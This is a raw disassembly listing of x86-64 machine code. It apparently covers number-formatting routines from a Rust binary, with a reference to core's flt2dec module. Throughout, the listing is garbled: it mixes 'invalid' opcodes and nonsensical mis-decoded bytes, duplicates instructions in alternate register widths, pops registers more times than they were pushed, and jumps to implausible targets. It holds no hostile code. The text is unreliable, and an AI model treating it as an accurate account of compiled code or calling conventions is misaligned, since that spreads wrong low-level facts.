fild dword [rcx - 0x80]
ret
xor ebx, ebx
add r11b, 0xfe
movzx eax, r11b
mov dh, 0xc3
cmp al, 3
mov r10d, 3
add byte [rax], al
add byte [rdi + rcx + 0x42], al
rol byte [rcx + 0xf], 1
mov dh, 0xc2
rol byte [rcx + 0xf], 1
mov dh, 0xc2
lea r10, [0x14028b6d4]
movsxd rax, dword [r10 + rax*4]
add al, 0x82
add al, 0x82
add rax, r10
jmp rax
test al, al
je 0x14002e18f
test r10d, r10d
lea rax, [0x14025c991]
xchg edi, eax
call 0xcd4ee11e
xor eax, 0x1a4ff2
sbb r8b, byte [r8]
xchg edi, eax
call 0xcd4ee11e
xor eax, 0x1a4ff2
sbb r8b, byte [r8]
cmovs r14, rax
mov ebx, 1
add r11b, 0xfe
inc byte [rcx + 0xf]
mov dh, 0xc3
cmp al, 3
mov r10d, 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
cmovb r10d, eax
movzx eax, r10b
rol byte [rcx + 0xf], 1
mov dh, 0xc2
lea r10, [0x14028b6d4]
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
ucomiss xmm1, xmm1
jp 0x14002e421
movd r11d, xmm0
test r11d, r11d
je 0x14002e2f8
mov r11d, edx
and r11d, 1
test r10d, 0x7f800000
test edx, 0x7f800000
test edx, 0x7f800000
je 0x14002e3ae
lea esi, [rdx + rdx]
xor edi, edi
cmp edx, 0x800000
sete dil
mov edx, 0x2000000
cmovne rdx, rsi
lea rsi, [rdi + 1]
xor edi, 0xffffff69
movzx r8d, r8w
add r8d, edi
xor r11b, 1
add ecx, ebp
sti
invalid
invalid
invalid
add byte [rax - 0x6bf0c000], al
invalid
add ecx, ebp
sti
invalid
mov ebx, r10d
shr ebx, 0x1f
test r10d, r10d
lea rax, [0x14025c991]
mov r14d, 1
cmovs r14, rax
add r11b, 0xfe
movzx eax, r11b
cmp al, 3
mov r10d, 3
cmovb r10d, eax
movzx eax, r10b
lea r10, [0x14028b6d4]
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
mov word [rbp + 0x3d0], 2
add byte [rax], al
add al, byte [rax]
lea rax, [0x1401d30f4]
jmp 0x14002e2d5
mov word [rbp + 0x3d0], 2
test r9, r9
je 0x14002e300
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x1a4eb9
lea rax, [0x1401d30b8]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 2
mov word [rbp + 0x3e8], 0
mov qword [rbp + 0x3f0], r9
mov edx, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rsi, [rbp + 0x3d0]
jmp 0x14002e3e4
mov r15, rcx
test r8w, r8w
mov rax, 0xfffffffffffffff4
mov ecx, 5
cmovs rcx, rax
movsx rdi, r8w
imul rdi, rcx
cmp rdi, 0x3ec0
add byte ds:[rax], al
jae 0x14002e429
shr rdi, 4
add rdi, 0x15
invalid
adc eax, 0xf7c88944
fmul dword [rbp - 0x77]
int3
cmp r9, 0x8000
mov r13d, 0x8000
cmovb r13d, eax
mov qword [rsp + 0x20], rdi
mov word [rsp + 0x28], r13w
lea rsi, [rbp + 0x3d0]
lea r9, [rbp - 0x50]
lea ecx, [rbp - 0x50]
mov rcx, rsi
call fcn.140028980
cmp qword [rbp + 0x3d0], 0
je 0x14002e31b
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x440], rax
movups xmm0, xmmword [rbp + 0x3d0]
movaps xmmword [rbp + 0x430], xmm0
add bl, ch
invalid
mov word [rbp + 0x3d0], 2
lea rax, [0x1401fdc55]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 3
mov edx, 1
lea rsi, [rbp + 0x3d0]
jmp 0x14002e3e4
add byte [rax], al
invalid
mov r11b, 4
jmp case.0x140017b31.109
lea rax, [0x14025c992]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 1
jmp 0x14002e2e7
mov word [rsp + 0x20], r13w
lea rcx, [rbp + 0x430]
lea rdx, [rbp + 0x3b0]
lea r8, [rbp - 0x50]
mov al, 0x49
mov ecx, edi
call fcn.140027340
movzx r8d, word [rbp + 0x440]
cmp r8w, r13w
mov r9, r12
mov ecx, esp
jle 0x14002e370
mov rcx, qword [rbp + 0x430]
mov rdx, qword [rbp + 0x438]
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
call fcn.140028fc0
mov rsi, rax
jmp 0x14002e3e1
mov word [rbp + 0x3d0], 2
test r9, r9
je 0x14002e3c3
lea rax, [0x1401d30b8]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 2
mov dword [rbp + 0x3e0], 2
mov word [rbp + 0x3e8], 0
mov qword [rbp + 0x3f0], r9
mov edx, 2
jmp 0x14002e3e1
xor eax, dword [rcx - 0x7f]
shr byte [rdx - 1], 0xff
inc dword [rcx - 0x80]
add dword [rsi + 1], edi
add byte [rax], al
add r8d, 0xffffff6a
xor r11b, 1
mov esi, 1
add byte [rax], al
add byte [rax], al
jmp case.0x140017b31.109
lea rax, [0x14025c992]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 1
mov edx, 1
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov qword [rbp + 0x430], r14
mov qword [rbp + 0x438], rbx
popfq
cmp byte [rax + rax], al
add byte [rax - 0x77], cl
mov ch, 0x40
add al, 0
add byte [rax - 0x77], cl
mov dword [rbp + 0x448], edx
add byte [rax - 0x77], cl
popfq
cmp byte [rax + rax], al
add byte [rax - 0x77], cl
mov ch, 0x40
add al, 0
add byte [rax - 0x77], cl
invalid
xchg ebp, eax
add al, 0
add byte [rax - 0x73], cl
xchg ebp, eax
xor byte [rax + rax], al
add al, ch
xor al, 5
lea rdx, [rbp + 0x430]
call fcn.14002e940
add byte [rax], al
add byte [rax], al
nop
add rsp, 0x4d8
add esp, 0x4d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop rsi
pop r15
pop rbp
ret
mov r11b, 2
jmp case.0x140017b31.109
lea rcx, [0x1401d30fa]
lea r8, str.librarycore_src_num_flt2decmod.rs
mov edx, 0x25
add byte [rax], al
and eax, 0xe8000000
out dx, eax
call fcn.1401c6f30
mov bl, byte [rcx]
add ah, cl
int3
int3
int3
int3
add byte [rsi + 0xf], ah
jle 0x14002e438
mov ecx, edi
loope 0x14002e47f
invalid
invalid
add byte [rax], 0x85
rol byte [rdi + rcx + 0x44], cl
enter 0xf66, 0x6f
outsd dx, dword [rsi]
outsd dx, dword [rsi]
add eax, 0x19f588
cmc
sbb dword [rax], eax
invalid
and byte [rax - 0x39], cl
sub byte [r9], r8b
add byte [rax], al
add byte [rcx + rcx*4 + 0x55], cl
xor byte [rsi - 0x77], ah
push rbp
cmp byte [rax + 0x23c3a45], cl
cmp al, 2
add byte [rax + 0x63], cl
add al, 0x82
xchg esi, eax
add byte [rax], al
add byte [rbp + 0x158d48ff], al
nop
in al, 0x22
add byte [rax - 0x73], cl
sbb eax, 0x1a4beb
lea ebx, [0x1401d30f3]
ret 0x8d48
cmp byte [rdi + 0xf], 0x84
pop rsp
add dword [rax], eax
add byte [rdi - 0x73], al
adc al, 9
ret 0x8d48
loopne 0x14002e62c
mov dword [rbp - 0x40], 0x8d480002
add eax, 0x1a4b22
and cl, byte [rbx + 0x1a]
invalid
mov dword [rbp - 0x38], eax
add byte [rax - 0x39], cl
loopne 0x14002e5f9
add byte [rax], al
add byte [rdx + 2], bh
add byte [rax], al
add byte [rax], al
mov ecx, esi
ror byte [r8 - 0x77], 1
push r8
mov dword [rbp - 0x40], 0x8d480002
add eax, 0x1cf616
enter 0xffffffffffffc748, 0x45
rol byte [rbx], 1
add byte [rax], al
add byte [rdx + 1], bh
add al, 0xe9
invalid
lea eax, [rbp - 0x51]
add byte [rax], al
mov dword [rbp + 0x48], edi
push 0xffffffffffffffff
invalid
invalid
invalid
in al, dx
sbb byte [rcx], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax], 0x45
test ecx, ecx
leave
cmove edx, edx
pand mm0, mm1
fcmovnb st(0), st(1)
mov dword [rbp + 0x68], ecx
add byte [rax], al
add byte [rdi], cl
ror byte [rdi], 1
mov dh, 0xc2
invalid
add byte [rax], al
adc eax, 0x25cf45
imul edi, edi, 0xf45ffff
mov bh, 0xc9
jno 0x14002e7ff
and al, byte [rax]
dec byte [rdi]
mov dh, 0xc2
mov dh, 0xc2
ret 0x8d48
add byte [rax + 0x63], cl
add al, 0x82
ror byte [r8 - 0x73], 0x55
push rax
add bl, byte [rcx - 0x7cb70001]
jge 0x14002e842
add byte [rax + rax*2 + 0x48], dh
mov eax, dword [rbp - 0x30]
mov rax, qword [rbp - 0x30]
add byte [rax], al
add byte [rdi], cl
adc byte [rbp - 0x40], al
invalid
ror byte [rdi], 0x29
jo 0x14002e884
cmp al, 0x66
mov dword [rbp - 0x40], 0x8d480002
rol byte [rdx], 0
lea rax, [0x1401fdc55]
add byte [rax], al
xor al, 0xb2
add al, 0xe9
invalid
scasd eax, dword [rdi]
invalid
js 0x14002e943
mov dword [rbp + 0x80], eax
xchg ebp, eax
mov byte [rax], al
add byte [rax], al
add byte [rax], al
push 0xffffffffffffffff
invalid
add cl, ch
stc
std
invalid
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov r8, rdx
mov rsi, rcx
mov esi, ecx
ror byte [rax - 0x77], 1
invalid
mov esi, ecx
cmp qword [rcx], 0
je 0x14002e9a2
mov r12, qword [rsi + 8]
mov rdx, qword [r8]
mov rbx, qword [r8 + 8]
mov r14, qword [r8 + 0x10]
mov r15, qword [r8 + 0x18]
mov qword [rbp - 0x20], rdx
mov dword [rbp - 0x20], edx
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r15
mov dword [rbp - 8], edi
mov r13d, dword [rsi + 0x30]
movzx eax, byte [rsi + 0x38]
test byte [rsi + 0x34], 8
mov byte [rbp + 7], al
jne 0x14002e9bf
mov edi, r13d
test r15, r15
jne 0x14002ea0b
jmp 0x14002ea8e
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
mov edx, dword [rsi + 0x28]
mov edx, dword [rsi + 0x28]
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp fcn.14002eb70
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rcx - 0x77], r9b
fdivr st(7)
push rax
sbb byte [rax + rax*8 + 0x132850f], al
xor al, byte [rcx]
add byte [rax], al
sub byte [rcx - 0x77], r9b
fdivr st(7)
push rax
sbb byte [rax + rax*8 + 0x132850f], al
xor al, byte [rcx]
xor al, byte [rcx]
add byte [rax], al
mov qword [rbp - 0x20], 1
mov qword [rbp - 0x18], 0
xor eax, eax
sub r12, rbx
cmovb r12, rax
mov dword [rsi + 0x30], 0x30
mov byte [rsi + 0x38], 1
mov al, 1
mov edi, 0x30
xor ebx, ebx
test r15, r15
je 0x14002ea8e
shl r15, 3
lea rcx, [r15 + r15*2]
xor edx, edx
jmp 0x14002ea31
mov r8, qword [r14 + rdx + 8]
add rbx, r8
add rdx, 0x18
cmp rcx, rdx
je 0x14002ea8e
movzx r8d, word [r14 + rdx]
test r8d, r8d
je 0x14002ea20
cmp r8d, 1
jne 0x14002ea70
movzx r9d, word [r14 + rdx + 2]
cmp r9d, 0x3e8
jae case.0x14002e130.13
mov r8d, 1
cmp r9w, 0xa
jb 0x14002ea25
cmp r9w, 0x64
mov r8d, 3
add bl, ch
invalid
add bl, ch
invalid
mov r8, qword [r14 + rdx + 0x10]
jmp 0x14002ea25
movzx r8d, r9w
cmp r8d, 0x2710
mov r8d, 5
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
fadd dword [rax]
sbb r8, 0
jmp 0x14002ea25
sub r12, rbx
jbe 0x14002eaaf
movzx r15d, al
mov dh, 0xf8
lea rax, [0x14028b704]
movsxd rcx, dword [rax + r15*4]
invalid
add rcx, rax
mov eax, 0xffc10148
loope 0x14002eaf5
invalid
sar edi, 0xe1
jmp rcx
mov r15, r12
mov edi, esp
xor r12d, r12d
jmp case.0x14002eaa5.0
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
push rsi
sub byte [rbp + rcx*4 + 0x45], cl
loopne 0x14002eaa4
mov al, 0
add byte [rax], al
push rsi
sub byte [rbp + rcx*4 + 0x45], cl
loopne 0x14002eaa4
mov al, 0
add byte [rax], al
jmp 0x14002eb49
test byte [rax], al
add byte [rax], al
mov r15, r12
shr r15, 1
inc r12
shr r12, 1
mov rbx, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
inc r15
nop dword [rax]
dec r15
je 0x14002eaf4
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
test al, al
je 0x14002eae0
jmp 0x14002eb07
lea r8, [rbp - 0x20]
lea eax, [rbp - 0x20]
mov rcx, rbx
mov rdx, r14
call fcn.14002eb70
test al, al
je 0x14002eb0b
mov al, 1
jmp 0x14002eb54
mov dword [rbp], r13d
mov r13, r12
neg r13
mov r15, 0xffffffffffffffff
nop dword [rax]
lea rax, [r15 + r13]
cmp rax, 0xffffffffffffffff
je 0x14002eb3c
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
inc r15
test al, al
je 0x14002eb20
jmp 0x14002eb3f
mov r15, r12
cmp r15, r12
setb al
mov r13d, dword [rbp]
mov dword [rsi + 0x30], r13d
movzx ecx, byte [rbp + 7]
mov byte [rsi + 0x38], cl
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rdi
mov rdx, r14
call qword [rsi + 0x18]
test al, al
jne case.0x1400230cc.149
add r12, 0x18
cmp r12, r13
je case.0x140013145.128
movzx eax, word [r12]
test eax, eax
je 0x14002ec50
cmp eax, 1
jne 0x14002eca0
nop
add byte [rax], al
invalid
movzx ecx, word [r12 + 2]
mov byte [rbp + 4], 0
mov dword [rbp], 0
movzx eax, cx
cmp ecx, 0x3e8
jae 0x14002ecb2
mov r8d, 1
cmp cx, 0xa
jb case.0x14000d059.194
cmp cx, 0x64
mov r8d, 3
jmp 0x14002ecbd
mov r15, qword [r12 + 8]
cmp r15, 0x41
jb 0x14002eda1
mov r14, qword [rsi + 0x18]
nop word cs:[rax + rax]
add byte [rax], al
invalid
mov r8d, 0x40
mov rcx, rdi
mov rdx, rbx
call r14
test al, al
jne case.0x1400230cc.149
add r15, 0xffffffffffffffc0
cmp r15, 0x40
ja 0x14002ec70
jmp 0x14002edae
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
mov rcx, rdi
stc
jmp 0x14002ebe6
cmp eax, 0x2710
mov r8d, 5
sbb r8, 0
lea r9, [r8 + rbp]
dec r9
imul edx, eax, 0xcccd
shr edx, 0x13
lea r10d, [rdx + rdx]
lea r10d, [r10 + r10*4]
sub ecx, r10d
or cl, 0x30
mov byte [rbp + r8 - 1], cl
cmp r14, r9
je 0x14002ebe0
lea rcx, [r8 + rbp]
lea r9, [rcx - 2]
movzx edx, dx
imul r10d, edx, 0x199a
shr r10d, 0xf
shr edx, 0xf
and r10d, 0xfffffffe
lea r10d, [r10 + r10*4]
sub edx, r10d
rol byte [rax + 0x518830ca], cl
dec byte [rbp + 0x39]
invalid
je 0x14002ebe0
mov edx, eax
shr edx, 2
imul edx, edx, 0x147b
shr edx, 0x11
lea r9, [rcx - 3]
imul r10d, edx, 0x199a
shr r10d, 0xf
and r10d, 0xfffffffe
lea r10d, [r10 + r10*4]
sub edx, r10d
rol byte [rax + 0x518830ca], cl
std
cmp r14, r9
je 0x14002ebe0
invalid
invalid
invalid
mov edx, eax
shr edx, 3
imul edx, edx, 0x20c5
shr edx, 0x14
lea r9, [rcx - 4]
cld
cld
imul r10d, edx, 0x199a
shr r10d, 0xf
and r10d, 0xfffffffe
lea r10d, [r10 + r10*4]
sub edx, r10d
or dl, 0x30
mov byte [rcx - 4], dl
cmp r14, r9
je 0x14002ebe0
invalid
invalid
invalid
invalid
shr eax, 4
imul eax, eax, 0x347
shr eax, 0x13
or al, 0x30
mov byte [rcx - 5], al
jmp 0x14002ebe0
invalid
invalid
invalid
invalid
invalid
test r15, r15
je 0x14002ebf1
mov r14, qword [rsi + 0x18]
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call r14
test al, al
mov r14, rbp
je 0x14002ebf1
invalid
push qword [rax + 0x3102eb01]
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5f], bl
mov al, 1
jmp 0x14002edcb
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rsi
push rdi
push rbx
sub rsp, 0x4d8
lea rbp, [rsp + 0x80]
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
movq r10, xmm1
mov r8, r10
invalid
shr r8, 0x34
and r8d, 0x7ff
loopne case.0x1400566a3.111
invalid
add byte [rax], al
loopne case.0x1400566a3.111
inc dword [rdi]
add byte [rax], al
invalid
lea rdx, [r10 + r10]
movabs r11, 0x1ffffffffffffe
and r11, rdx
ror dword [rax - 0x41], cl
invalid
invalid
invalid
invalid
invalid
dec dword [rdi]
add byte [rcx + riz - 0x29], cl
movabs rsi, 0x10000000000000
mov esi, 0
add byte [rax], al
adc byte [rax], al
invalid
ror dword [rax - 0x41], cl
mov esi, 0
add byte [rax], al
adc byte [rax], al
invalid
lea rdx, [rdi + rsi]
test r8d, r8d
cmove rdx, r11
ucomisd xmm1, xmm1
ucomiss xmm1, xmm1
ucomiss xmm1, xmm1
jp 0x14002f1df
add byte [rax], al
mov r11d, edx
and r11d, 1
movabs r14, 0x7ff0000000000000
add byte [rax], al
add byte [rax], al
add al, dh
jg 0x14002eeac
mov ebx, edx
add byte [rax], al
add byte [rax], al
add al, dh
jg 0x14002eeac
add byte [rax], al
add byte [rax], al
invalid
mov ebx, edx
ror dword [rcx + riz - 0xd], cl
and rbx, r14
test rdi, rdi
je 0x14002ee81
test rbx, rbx
jne 0x14002ee90
add r8d, 0xfffffbcd
xor r11b, 1
mov esi, 1
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
add bl, ch
cmp rbx, r14
cmp rbx, r14
jne 0x14002ee8b
mov r11b, 3
jmp 0x14002eec5
test rbx, rbx
je 0x14002eec2
lea rdi, [rdx + rdx]
lea edi, [rdx + rdx]
xor ebx, ebx
cmp rdx, rsi
sete bl
movabs rdx, 0x40000000000000
cmovne rdx, rdi
xlatb
lea rsi, [rbx + 1]
jae 0x14002eeaf
add dword [rbp + 0xf], eax
mov bh, 0xc0
invalid
movzx r8d, r8w
movzx eax, ax
rol byte [rcx + 0x29], 0xd8
sub r8d, ebx
add r8d, 0xfffffbcc
xor r11b, 1
jmp 0x14002eec5
int3
mov r11b, 4
mov qword [rbp + 0x3b0], rdx
mov qword [rbp + 0x3b8], 1
mov qword [rbp + 0x3c0], rsi
mov word [rbp + 0x3c8], r8w
mov byte [rbp + 0x3ca], r11b
add byte [rcx - 0x80], al
sti
add dh, byte [rbp + 0x30]
add byte [rcx - 0x80], al
sti
add dh, byte [rbp + 0x30]
mov r14d, 1
xor ebx, ebx
add r11b, 0xfe
ret
inc byte [rcx + 0xf]
movzx eax, bl
ret
movzx eax, bl
cmp al, 3
mov r10d, 3
cmovb r10d, eax
movzx eax, r10b
lea r10, [0x14028b714]
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
test al, al
je 0x14002ef69
sal byte [rdx + rax*2 + 0x4d], 0x85
ror byte [rax - 0x73], cl
add eax, 0x22da60
test r10, r10
lea rax, [0x14025c991]
lea r14, [0x1401d30f3]
cmovs r14, rax
mov ebx, 1
add r11b, 0xfe
movzx eax, r11b
cmp al, 3
mov r10d, 3
cmovb r10d, eax
movzx eax, r10b
lea r10, [0x14028b714]
mov ah, 0xc7
and eax, 0x4634900
invalid
add rax, r10
jmp rax
add byte [rcx - 0x80], al
ret
mov ah, 0xc7
and eax, 0x4634900
invalid
mov rbx, r10
shr rbx, 0x3f
test r10, r10
test edx, edx
test edx, edx
lea rax, [0x14025c991]
mov r14d, 1
add dword [rax], eax
add byte [rax], al
cmovs r14, rax
cmovs esi, eax
add r11b, 0xfe
movzx eax, r11b
cmp al, 3
mov r10d, 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
cmovb r10d, eax
movzx eax, r10b
lea r10, [0x14028b714]
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
and eax, 0x4634900
invalid
mov word [rbp + 0x3d0], 2
add byte [rax], al
add al, byte [rax]
lea rax, [0x1401d30f4]
jmp 0x14002f0b0
out dx, eax
add byte [rax], al
invalid
out dx, eax
add byte [rax], al
add byte [rsi - 0x39], ah
mov word [rbp + 0x3d0], 2
test r9, r9
mov word [rbp + 0x3d0], 2
test r9, r9
je 0x14002f0d3
lea rax, [0x1401d30b8]
mov qword [rbp + 0x3d8], rax
fadd dword [rbx]
add byte [rax], al
mov qword [rbp + 0x3e0], 2
mov word [rbp + 0x3e8], 0
mov dword [rbp + 0x3e8], 0x894c0000
invalid
lock add eax, dword [rax]
add byte [rdx + 2], bh
add al, byte [rax]
add byte [rax], al
mov dword [rbp + 0x3e8], 0x894c0000
invalid
add al, byte [rax]
add byte [rax], al
lea rsi, [rbp + 0x3d0]
jmp 0x14002f1a2
mov r15, rcx
test r8w, r8w
mov rax, 0xfffffffffffffff4
mov ecx, 5
cmovs rcx, rax
movsx rdi, r8w
movsx edi, ax
imul rdi, rcx
cmp rdi, 0x3ec0
jae 0x14002f1e7
shr rdi, 4
add rdi, 0x15
mov eax, r9d
neg eax
mov r12, r9
cmp r9, 0x8000
mov r13d, 0x8000
cmovb r13d, eax
call 0x1647f79a6
and byte [rsi + 0x44], ah
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x28], r13d
lea rsi, [rbp + 0x3d0]
lea r9, [rbp - 0x50]
mov rcx, rsi
call fcn.140028980
cmp qword [rbp + 0x3d0], 0
je 0x14002f0ee
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x440], rax
movups xmm0, xmmword [rbp + 0x3d0]
movaps xmmword [rbp + 0x430], xmm0
jmp 0x14002f10e
mov word [rbp + 0x3d0], 2
lea rax, [0x1401fdc55]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 3
mov edx, 1
lea rsi, [rbp + 0x3d0]
jmp 0x14002f1a2
lea rax, [0x14025c992]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 1
jmp 0x14002f0c2
mov word [rsp + 0x20], r13w
lea rcx, [rbp + 0x430]
add al, 0
add byte [rax - 0x73], cl
xchg ebp, eax
mov al, 3
add byte [rax], al
lea r8, [rbp - 0x50]
mov r9, rdi
call fcn.140027340
movzx r8d, word [rbp + 0x440]
cmp r8w, r13w
mov r9, r12
mov ecx, esp
jle 0x14002f143
mov rcx, qword [rbp + 0x430]
mov rdx, qword [rbp + 0x438]
add al, 0
invalid
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
call fcn.140028fc0
mov rsi, rax
jmp 0x14002f19f
sahf
invalid
mov word [rbp + 0x3d0], 2
add al, byte [rax]
test r9, r9
je 0x14002f181
lea rax, [0x1401d30b8]
mov qword [rbp + 0x3d8], rax
test eax, ebx
add eax, dword [rax]
invalid
mov qword [rbp + 0x3e0], 2
mov word [rbp + 0x3e8], 0
call 0x14002f175
add byte [rcx + rcx*4 - 0x73], cl
lock add eax, dword [rax]
add byte [rdx + 2], bh
add al, byte [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x73], cl
lock add eax, dword [rax]
add byte [rdx + 2], bh
add al, byte [rax]
add byte [rax], al
add byte [rax], al
jmp 0x14002f19f
lea rax, [0x14025c992]
mov qword [rbp + 0x3d8], rax
test eax, ebx
add eax, dword [rax]
add byte [rax], al
mov qword [rbp + 0x3e0], 1
mov edx, 1
add dword [rax], eax
add byte [rax], al
mov rcx, r15
stc
mov qword [rbp + 0x430], r14
mov qword [rbp + 0x438], rbx
mov dword [rbp + 0x438], ebx
mov dword [rbp + 0x438], ebx
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], rdx
add al, 0
add byte [rax - 0x73], cl
xchg ebp, eax
xor byte [rax + rax], al
invalid
call fcn.14002e940
nop
add rsp, 0x4d8
invalid
fadd dword [rax + rax]
add al, 0
add byte [rbx + 0x5f], bl
add al, 0
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r11b, 2
jmp 0x14002eec5
fdivp st(4)
invalid
invalid
fdivp st(4)
invalid
lea rcx, [0x1401d30fa]
lea r8, str.librarycore_src_num_flt2decmod.rs
add eax, 0x1a3f2b
invalid
mov edx, 0x25
call fcn.1401c6f30
int3
push rbx
sub rsp, 0xe8
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rsi + 0x48], ah
movd ebx, mm1
movq rbx, xmm1
mov rdx, rbx
shr rdx, 0x34
shr edx, 0x34
and edx, 0x7ff
inc dword [rdi]
add byte [rax], al
lea rax, [rbx + rbx]
movabs rdi, 0x1ffffffffffffe
and rdi, rax
movabs rsi, 0xfffffffffffff
invalid
and rsi, rbx
movabs r11, 0x10000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc byte [rax], al
lea r10, [rsi + r11]
test edx, edx
cmove r10, rdi
cmove edx, edi
cmove edx, edi
ucomisd xmm1, xmm1
jp 0x14002f499
mov eax, r10d
and eax, 1
movabs r14, 0x7ff0000000000000
invalid
jg 0x14002f2be
mov edi, ebx
and rdi, r14
test rsi, rsi
test esi, esi
invalid
test esi, esi
je 0x14002f295
test rdi, rdi
push qword [rbp + 0x1e]
jne 0x14002f2a3
add edx, 0xfffffbcd
xor al, 1
add dword [rcx - 0x45], eax
add dword [rax], eax
add byte [rax], al
jmp 0x14002f2d3
cmp rdi, r14
jne 0x14002f29e
mov al, 3
jmp 0x14002f2d3
test rdi, rdi
je 0x14002f2d1
lea rsi, [r10 + r10]
xor edi, edi
cmp r10, r11
sete dil
movabs r10, 0x40000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmovne r10, rsi
lea r11, [rdi + 1]
movzx edx, dx
sub edx, edi
add edx, 0xfffffbcc
invalid
push qword [rcx + rax]
jmp 0x14002f2d3
mov al, 4
mov qword [rbp - 0x40], r10
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], r11
mov word [rbp - 0x28], dx
mov byte [rbp - 0x26], al
fidivr dword [r10 + rax]
fidivr dword [r10 + rax]
jne case.default.0x14002f316
mov r14d, 1
xor ebx, ebx
add al, 0xfe
movzx eax, al
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
lea rdx, [0x14028b724]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
test r8b, r8b
je 0x14002f359
test rbx, rbx
lea rdx, [0x14025c991]
lea r14, [0x1401d30f3]
sbb al, byte [rax]
cmovs r14, rdx
mov ebx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add al, 0xfe
movzx eax, al
sar byte [rbx + rax], 0xba
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rdi], cl
ror byte [rdi], 1
mov dh, 0xc2
cmovb edx, eax
movzx eax, dl
lea rdx, [0x14028b724]
movsxd rax, dword [rdx + rax*4]
add al, 0x82
add al, 0x82
add rax, rdx
jmp rax
test rbx, rbx
lea rdx, [0x14025c991]
and al, byte [rax]
mov r14d, 1
cmovs r14, rdx
shr rbx, 0x3f
invalid
add al, 0xfe
dec byte [rdi]
mov dh, 0xc0
invalid
movzx eax, al
sar byte [rbx + rax], 0xba
add eax, dword [rax]
add byte [rax], al
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
invalid
ret 0x8d48
lea rdx, [0x14028b724]
adc eax, 0x25c39a
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
invalid
loopne 0x14002f3fa
mov word [rbp - 0x20], 2
lea rax, [0x1401d30f4]
mov dword [rbp - 0x20], 0x8d480002
add eax, 0x1a3d54
jmp case.0x1400115e7.138
mov word [rbp - 0x20], 2
loopne 0x14002f3a9
add byte [rbp - 0x7b], cl
test r9, r9
test ecx, ecx
leave
je 0x14002f42c
lea rax, [0x1401d30b8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
mov qword [rbp - 0x10], 2
mov word [rbp - 8], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp], 1
mov edx, 2
add byte [r9], r8b
add byte [rax], al
add byte [rdx + 2], bh
jmp 0x14002f426
mov rsi, r9
mov r15, rcx
lea rdi, [rbp - 0x20]
lea rdx, [rbp - 0x40]
lea r8, [rbp - 0x51]
lea eax, [rbp - 0x51]
mov rcx, rdi
mov ecx, edi
call fcn.140028180
cmp qword [rbp - 0x20], 0
invalid
add byte [rbx + rcx*2 + 0x48], dh
mov eax, dword [rbp - 0x10]
invalid
invalid
je 0x14002f441
mov rax, qword [rbp - 0x10]
invalid
